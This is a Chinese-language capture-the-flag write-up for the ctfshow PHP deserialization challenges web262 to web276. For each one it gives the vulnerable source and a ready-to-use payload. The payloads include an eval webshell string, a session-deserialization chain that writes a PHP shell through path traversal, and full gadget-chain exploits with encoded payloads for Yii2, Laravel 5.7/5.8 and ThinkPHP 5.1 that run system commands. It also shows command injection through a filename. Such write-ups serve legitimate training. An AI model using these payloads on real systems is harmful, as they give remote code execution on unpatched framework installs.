1 2 3 4 5 6 7 8 9 10 <?php class ctfshowvip { public $username = "877.php" ; public $password = "<?php @eval(\$_POST[a]);" ; }$a = new ctfshowvip ();echo urlencode (serialize ($a ));
web262 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; }highlight_file (__FILE__ );
一开始没搞懂怎么做,能看到提示message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
payload
1 2 3 4 5 6 7 8 9 <?php class message { public $token ='admin' ; }$a = new message ();echo base64_encode (serialize ($a ));
也可以用反序列化字符串逃逸 来做
1 2 3 4 5 6 7 8 9 10 11 12 <?php class message { public $from ='1' ; public $msg ='2' ; public $to ='3' ; public $token ='admin' ; }$a = new message ();print_r (serialize ($a ));?>
但是,token初始化的值是user,且在construct中是没有token的初始化的,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的,但是我们想要的效果是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 将s:5 :"token" ;s:5 :"admin" ;}插入到 O:7 :"message" :4 :{s:4 :"from" ;N;s:3 :"msg" ;N;s:2 :"to" ;N;s:5 :"token" ;s:4 :"user" ;}中 <?php class message { public $from ='1' ; public $msg ='2' ; public $to ='3";s:5:"token";s:5:"admin";}' ; public $token ='user' ; }$a = new message ();print_r (serialize ($a ));?>
但是整条语句是存在逻辑问题的:
在s:28:”3”;这个地方,正常逻辑是3只有一个字符,但是却被标注为28个,那么在反序列化的时候,就会出现报错,但是此题在反序列化之前会对msg的参数进行替换操作,会将4个字符的fuck替换5个关字符的loveu,这样的话本来缺少的27个字符,就会被经过增加替换而多出来的27个字符顶替,正好满足136=109(love)+27(u),而后面的27个字符也就顺理成章的替换了后面的token
1 2 3 4 5 6 7 8 9 10 11 <?php class message { public $from ='1' ; public $msg ='2' ; public $to ='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' ; public $token ='user' ; }$a = new message ();print_r (serialize ($a ));?>
1 ?f=1 &m =1 &t =3f uckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
然后访问message.php就可以得到flag
web263 考察session反序列化,使用前提:
使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。(注意:在 php 5.5.4
以前默认选择的是 php
,5.5.4
之后就是 php_serialize
)
php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
现在开始看题,www.zip源码泄露
inc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting (0 );ini_set ('display_errors' , 0 );ini_set ('session.serialize_handler' , 'php' );date_default_timezone_set ("Asia/Shanghai" );session_start ();use \CTFSHOW \CTFSHOW ; require_once 'CTFSHOW.php' ;$db = new CTFSHOW ([ 'database_type' => 'mysql' , 'database_name' => 'web' , 'server' => 'localhost' , 'username' => 'root' , 'password' => 'root' , 'charset' => 'utf8' , 'port' => 3306 , 'prefix' => '' , 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]);function checkForm ($str ) { if (!isset ($str )){ return true ; }else { return preg_match ("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i" ,$str ); } }class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } }function uuid ( ) { $chars = md5 (uniqid (mt_rand (), true )); $uuid = substr ( $chars , 0 , 8 ) . '-' . substr ( $chars , 8 , 4 ) . '-' . substr ( $chars , 12 , 4 ) . '-' . substr ( $chars , 16 , 4 ) . '-' . substr ( $chars , 20 , 12 ); return $uuid ; }
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 ); session_start (); if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; } ?>
check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);if ($GET ){ $data = $db ->get ('admin' , [ 'id' , 'UserName0' ],[ "AND" =>[ "UserName0[=]" =>$GET ['u' ], "PassWord1[=]" =>$GET ['pass' ] //密码必须为128 位大小写字母+数字+特殊符号,防止爆破 ] ]); if ($data ['id' ]){ $_SESSION ['limit' ]= 0 ; echo json_encode (array ("success" ,"msg" =>"欢迎您" .$data ['UserName0' ])); }else { $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ])+1 ); echo json_encode (array ("error" ,"msg" =>"登陆失败" )); } }
首先访问首页,获得 cookie,同时建立 session,再通过cookie manager将 $COOKIE['limit']
中构造 |+序列化对象
的字符串,通过访问 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
访问1.php审查元素查看flag
payload
1 2 3 4 5 6 7 8 9 10 <?php class User { public $username ="admin/../../../../../../../../../../var/www/html/1.php" ; public $password ="<?php system('cat flag.php');?>" ; public $status ; }$a = new User ();$c = "|" .serialize ($a );echo urlencode (base64_encode ($c ));
web264 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );session_start ();class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); $_SESSION ['msg' ]=base64_encode ($umsg ); echo 'Your message has been sent' ; }highlight_file (__FILE__ );
message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
相比web262,message.php文件改用了$_SESSION
而不是COOKIE
,也就是不能想之前那也直接在message.php传cookie来反序列化了
直接用反序列化字符串逃逸
1 ?f=1 &m =1 &t =3f uckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
记得访问message.php查看flag是,需要再传一个cookie msg=1;
详细做法web262已经讲过了
web265 考察反序列化中指针引用:&
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } }$ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
token被赋值随机数的md5值,还需要token与password相等(强比较),很明显不能直接才password的值
这时候就该指针派上用场了,例如:
1 $HEY- >age=&$HEY- >name ; //&将name 的地址传给 age,所以age的值是跟着name 的变化而变化
所以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class ctfshowAdmin { public $token ; public $password ; public function __construct ( ) { $this ->password=&$this ->token; $this ->token='a' ; }}$a =serialize (new ctfshowAdmin ());print_r ($a );?> payload: ?ctfshow=O:12 :"ctfshowAdmin" :2 :{s:5 :"token" ;s:1 :"a" ;s:8 :"password" ;R:2 ;}
这两种方式都可以
1 2 3 4 5 6 7 8 9 10 <?php class ctfshowAdmin { public $token ; public $password ; }$c = new ctfshowAdmin ();$c ->password = &$c ->token;var_dump (urlencode (serialize ($c )));
web266 知识点:php的类对大小写不敏感
1 2 3 区分大小写的: 变量名、常量名、数组索引(键名key) 不区分大小写的:函数名、方法名、类名、魔术常量、NULL 、FALSE 、TRUE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } }$ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
可以直观的看到ctfshow类中的destruct
会输出flag,也就是说只要调用ctfshow类就能输出flag了,但
1 2 3 if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
该正则匹配会抛出错误,使程序没法正常进行
所以这个就可以用大小写绕过,那怎么传序列化参数呢
1 $cs = file_get_contents('php :/ / input ') ;
这样通过post直接传就行了
1 2 3 4 5 6 7 <?php class Ctfshow {};$a = new Ctfshow ();echo serialize ($a );?>
web267 Yii
框架的反序列化漏洞。
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
影响范围: Yii2 <2.0.38
可以参考Yii2 反序列化漏洞(CVE-2020-15148)复现_yii2 漏洞_锋刃科技的博客-CSDN博客
为什么漏扫扫不出来哈哈哈哈,可以用工具生成poc:ambionics/phpggc(github.com) 首先 admin/admin
弱密码登录,然后在 /index.php?r=site/about
可以看到注释里面有一个 ?view-source
,加上之后访问 /index.php?r=site%2Fabout&view-source
看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code']))
,随便搜一个反序列化的 pop
链打一下。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'shell_exec' ; $this ->id = 'cp /flag 3.txt' ; } } }namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction , 'run' ]; } } }namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } }namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); }?>
payload
1 /index.php?r =backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问3.txt
就可以了
web268 和上一题一样,就是多了些过滤:flag
、 >
同时不能用BatchQueryResult
了
稍微改一下poc就能用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'exec' ; $this ->id = 'cp /f* 2.txt' ; } } }namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['isRunning' ] = [new IndexAction (), 'run' ]; } } }namespace Codeception \Extension { use Faker \Generator ; class RunProcess { private $processes = []; public function __construct ( ) { $this ->processes[]=new Generator (); } } }namespace { use Codeception \Extension \RunProcess ; echo base64_encode (serialize (new RunProcess ())); }
1 /index.php?r =backdoor%2Fshell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTI6ImNwIC9mKiAyLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=
web269 一样,换个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } }namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction ($func , $param ), "run" ]; } } }namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession ($func , $param ); } } }namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'cp /f * bit .txt '); echo (base64_encode (serialize ($exp ))); }
1 /index.php?r =backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2YqIGJpdC50eHQiO31pOjE7czozOiJydW4iO319fQ==
web270 同web269
web271 Laravel5.7 反序列化漏洞
用工具phpggc就好了,window终端不行,直接在git bash上搞
1 2 ./phpggc Laravel/RCE6 "system('cat /flag');" --url data= O%3 A29 %3 A%22 Illuminate%5 CSupport%5 CMessageBag%22 %3 A2 %3 A%7 Bs%3 A11 %3 A%22 %00 %2 A%00 messages%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A9 %3 A%22 %00 %2 A%00 format%22 %3 BO%3 A40 %3 A%22 Illuminate%5 CBroadcasting%5 CPendingBroadcast%22 %3 A2 %3 A%7 Bs%3 A9 %3 A%22 %00 %2 A%00 events%22 %3 BO%3 A25 %3 A%22 Illuminate%5 CBus%5 CDispatcher%22 %3 A1 %3 A%7 Bs%3 A16 %3 A%22 %00 %2 A%00 queueResolver%22 %3 Ba%3 A2 %3 A%7 Bi%3 A0 %3 BO%3 A25 %3 A%22 Mockery%5 CLoader%5 CEvalLoader%22 %3 A0 %3 A%7 B%7 Di%3 A1 %3 Bs%3 A4 %3 A%22 load %22 %3 B%7 D%7 Ds%3 A8 %3 A%22 %00 %2 A%00 event%22 %3 BO%3 A38 %3 A%22 Illuminate%5 CBroadcasting%5 CBroadcastEvent%22 %3 A1 %3 A%7 Bs%3 A10 %3 A%22 connection%22 %3 BO%3 A32 %3 A%22 Mockery%5 CGenerator%5 CMockDefinition%22 %3 A2 %3 A%7 Bs%3 A9 %3 A%22 %00 %2 A%00 config%22 %3 BO%3 A35 %3 A%22 Mockery%5 CGenerator%5 CMockConfiguration%22 %3 A1 %3 A%7 Bs%3 A7 %3 A%22 %00 %2 A%00 name%22 %3 Bs%3 A7 %3 A%22 abcdefg%22 %3 B%7 Ds%3 A7 %3 A%22 %00 %2 A%00 code%22 %3 Bs%3 A35 %3 A%22 %3 C%3 Fphp+system%28 %27 cat+%2 Fflag%27 %29 %3 B+exit%3 B+%3 F%3 E%22 %3 B%7 D%7 D%7 D%7 D
也可以用poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { public $test ; protected $app ; protected $command ; protected $parameters ; public function __construct ($test , $app , $command , $parameters ) { $this ->test = $test ; $this ->app = $app ; $this ->command = $command ; $this ->parameters = $parameters ; } } }namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } }namespace Illuminate \Foundation { class Application { protected $instances = []; public function __construct ($instances = [] ) { $this ->instances['Illuminate\Contracts\Console\Kernel' ] = $instances ; } } }namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello " => "world ")); $app = new Illuminate\Foundation\Application (); $application = new Illuminate\Foundation\Application ($app ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ($defaultgenerator , $application , 'system' , array ('whoami' )); echo urlencode (serialize ($pendingcommand )); }
web272 Laravel5.8 反序列化漏洞
查看对应的版本,还是上题的poc就可以
1 data= O%3 A29 %3 A%22 Illuminate%5 CSupport%5 CMessageBag%22 %3 A2 %3 A%7 Bs%3 A11 %3 A%22 %00 %2 A%00 messages%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A9 %3 A%22 %00 %2 A%00 format%22 %3 BO%3 A40 %3 A%22 Illuminate%5 CBroadcasting%5 CPendingBroadcast%22 %3 A2 %3 A%7 Bs%3 A9 %3 A%22 %00 %2 A%00 events%22 %3 BO%3 A25 %3 A%22 Illuminate%5 CBus%5 CDispatcher%22 %3 A1 %3 A%7 Bs%3 A16 %3 A%22 %00 %2 A%00 queueResolver%22 %3 Ba%3 A2 %3 A%7 Bi%3 A0 %3 BO%3 A25 %3 A%22 Mockery%5 CLoader%5 CEvalLoader%22 %3 A0 %3 A%7 B%7 Di%3 A1 %3 Bs%3 A4 %3 A%22 load %22 %3 B%7 D%7 Ds%3 A8 %3 A%22 %00 %2 A%00 event%22 %3 BO%3 A38 %3 A%22 Illuminate%5 CBroadcasting%5 CBroadcastEvent%22 %3 A1 %3 A%7 Bs%3 A10 %3 A%22 connection%22 %3 BO%3 A32 %3 A%22 Mockery%5 CGenerator%5 CMockDefinition%22 %3 A2 %3 A%7 Bs%3 A9 %3 A%22 %00 %2 A%00 config%22 %3 BO%3 A35 %3 A%22 Mockery%5 CGenerator%5 CMockConfiguration%22 %3 A1 %3 A%7 Bs%3 A7 %3 A%22 %00 %2 A%00 name%22 %3 Bs%3 A7 %3 A%22 abcdefg%22 %3 B%7 Ds%3 A7 %3 A%22 %00 %2 A%00 code%22 %3 Bs%3 A35 %3 A%22 %3 C%3 Fphp+system%28 %27 cat+%2 Fflag%27 %29 %3 B+exit%3 B+%3 F%3 E%22 %3 B%7 D%7 D%7 D%7 D
web273 一样
1 ./phpggc Laravel/ RCE6 "system('cat /flag');" --url
web274 Thinkphp5.1反序列化漏洞
上工具
1 ./phpggc Thinkphp/ RCE1 "system" "tac /flag" --base64
1 ?data=TzoyNzoidGhpbmtccHJvY2 Vzc1 xwaXBlc1 xXaW5 kb3 dzIjoxOntzOjM0 OiIAdGhpbmtccHJvY2 Vzc1 xwaXBlc1 xXaW5 kb3 dzAGZpbGVzIjthOjE6 e2 k6 MDtPOjE3 OiJ0 aGlua1 xtb2 RlbFxQaXZvdCI6 Mzp7 czoxNzoiAHRoaW5 rXE1 vZGVsAGRhdGEiO2 E6 MTp7 czo1 OiJzbWkxZSI7 czo5 OiJ0 YWMgL2 ZsYWciO31 zOjIxOiIAdGhpbmtcTW9 kZWwAd2 l0 aEF0 dHIiO2 E6 MTp7 czo1 OiJzbWkxZSI7 czo2 OiJzeXN0 ZW0 iO31 zOjk6 IgAqAGFwcGVuZCI7 YToxOntzOjU6 InNtaTFlIjtzOjE6 IjEiO319 fX0 =
直接拿下!脚本小子就是舒服
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct ( ) { $this ->files[]=new Pivot (); } } } namespace think { abstract class Model { private $data = []; protected $append = []; public function __construct ( ) { $this ->data=array ( 'autumn' =>new Request () ); $this ->append=array ( 'autumn' =>array ( 'hello' =>'world' ) ); } } } namespace think \model { use think \Model ; class Pivot extends Model { } }namespace think { class Request { protected $hook = []; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; protected $filter ; public function __construct ( ) { $this ->hook['visible' ]=[$this ,'isAjax' ]; $this ->filter='system' ; } } } namespace { use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ())); }
1 data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag
web275 考点:分号实现字符拼接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile){ system ('rm ' .$this ->filename); } } }if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
1 system('rm ' .$this ->filename); // 用分号来截断
1 ?fn =1.php%3btac flag.php
相比红包挑战7就不能用分号截断来做
1 2 3 4 system ( "ls '" .filter ($_GET[1 ])."'" );ls '1.php'
web276 考点:phar反序列化
默认开启版本 PHP version >= 5.3
当发现没有unserilize()
来进行反序列化,可以使用phar反序列化
利用条件:
1、phar文件能够上传至服务器 //即要求存在file_get_contents()、fopen()这种函数
2、要有可利用的魔术方法
3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤 //一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://
这种,如果这几个特殊字符被过滤就无法实现反序列化
4、php.ini中的phar.readonly选项,需要为Off(默认是on)。
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包,它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data
,配合phar://
协议使用。
可以看看相关资料:https://www.cnblogs.com/CoLo/p/16786627.html
浅析Phar反序列化 - FreeBuf网络安全行业门户
初探phar:// - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public $admin = false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile && $this ->admin){ system ('rm ' .$this ->filename); } } }if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
需要让admin的值为true,但没有反序列的地方,可以用phar
先在 php.ini 配置 phar.readonly = Off,通过PHP脚本生成phar包:
